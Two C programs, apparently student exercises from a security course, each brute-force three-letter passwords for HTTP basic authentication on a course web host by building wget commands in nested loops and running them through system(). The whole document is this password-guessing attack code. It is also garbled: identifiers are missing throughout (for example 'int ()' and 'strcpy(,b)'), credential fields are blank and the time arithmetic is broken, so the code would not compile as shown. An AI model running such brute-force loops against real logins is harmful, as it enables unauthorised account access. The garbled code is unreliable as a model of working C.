# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <sys/time.h>
# include <strings.h>

int ()
{

		
	char* check = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";		
	char s[100];
	char charcopy[200];
	
	FILE* f;					
		
	int i,j,k;

	int starting,ending;							
	
	int totaltime;
	
	starting=time();								

	for (i=0;i<strlen(check);i++)
	{
		for(j=0;j<strlen(check);j++)						
		{
			for(k=0;k<strlen(check);k++)
			{
				strcpy(charcopy,"wget --http-user= --http-passwd=    -nv -o logfile http://sec-crack.cs.rmit.edu./SEC/2/");
				
				
				
				
				charcopy[40]=check[i];              			
				charcopy[41]=check[j];					
				charcopy[42]=check[k];
												
				system(charcopy);	
				printf("%c %c %c\n",check[i],check[j],check[k]);
				printf("%s\n",charcopy);
				
				f = fopen("logfile","r");				
				
				if(f != (FILE*) NULL)
				{
					fgets(s,30,f);					
					printf("%s\n",s);
					if(strcmp(s,"Authorization failed.\n")!=0)
					{
						ending=time();	
						totaltime=ending-starting;
						totaltime=totaltime/1000000000;		
						totaltime=totaltime/60;
	
						printf("Total time_var taken  break the Password is %lld minutes\n", totaltime);
						exit(0);
					}
				}
				
				fclose(f);						
			}
		}
	} 
	
	
	return 1;
}



#include <stdio.h>
#include <string.h>
#include <sys/time.h>

#define OneBillion 1e9
#define false 0
#define true 1
int execPassword(char *, char *b) {


    char [100]={'\0'};
    strcpy(,b);
    
    strcat(,);
    printf ("Sending command %s\n",);
    if ( system()== 0) {
       printf ("\n password is : %s",);
       return 1;
    }
    return 0;
}
 

int bruteForce(char [],char comb[],char *url) {


int i,j,k;

   for(i=0;i<52 ;i++) {
        comb[0]= [i];
        if (execPassword(comb,url)== 1) return 1; 
          for(j=0;j<52;j++) {
              comb[1] = [j];
              if(execPassword(comb,url)==1) return 1;
                for(k=0;k<52;k++) {
                    comb[2] = [k];
                    if(execPassword(comb,url)==1) return 1;
                }
          comb[1] = '\0';
     }
   }
   return 0;

} 

int  (char *argc, char *argv[]) {

 int i,j,k;
 char strin[80] = {'\0'};
 char *passwd;
 char a[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
 char v[4]={'\0'};
 int startTime, stopTime, final;
 int flag=false; 
 strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");

  startTime = time();
    if (bruteForce(a,v,strin)==1) {
      stopTime = time();
      final = stopTime-startTime;
    }

       printf ("\n The password is : %s",v);
       printf("%lld nanoseconds (%lf) seconds \n", final,  (double)final/OneBillion );

}
